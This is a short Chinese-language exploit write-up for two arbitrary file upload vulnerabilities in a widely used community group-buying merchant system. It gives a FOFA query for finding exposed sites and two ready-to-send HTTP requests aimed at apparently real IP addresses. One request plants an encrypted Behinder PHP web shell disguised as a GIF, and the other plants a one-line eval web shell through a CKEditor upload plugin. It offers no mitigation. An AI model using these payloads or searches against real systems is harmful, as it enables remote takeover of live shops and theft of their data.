商家管理系统任意文件上传

描述

网站系统为狮子鱼社区团购系统，网上用的也比较多，我fofa上搜了一下，大概有6-7千多。主要用户各种购物，商城系统。此次爆出的漏洞有四个，两个注入，两个文件上传。本文主要介绍其中两个文件上传漏洞，漏洞复现以及漏洞工具分享。

fofa语法

"/seller.php?s=/Public/login"

POC1

POST /wxapp.php?controller=Goods.doPageUpload HTTP/1.1
Host: 39.96.78.209
Content-Length: 783
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="upfile"; filename="Test.php"
Content-Type: image/gif

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //åÆ¥:Þ¥Æ
32Mmd5<„M16MؤޥÆ
rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>
------WebKitFormBoundary8UaANmWAgM4BqBSs--

上传成功截图

POC2漏洞文件为 CK编辑器的任意文件上传漏洞：

POST /Common/ckeditor/plugins/multiimg/dialogs/image_upload.php HTTP/2
Host: 47.95.36.147
Content-Type: multipart/form-data;boundary=----WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Length: 208

------WebKitFormBoundary8UaANmWAgM4BqBSs
Content-Disposition: form-data; name="files"; filename="test.php"
Content-Type: image/gif

<?php @eval($_POST[pq]);?>
------WebKitFormBoundary8UaANmWAgM4BqBSs—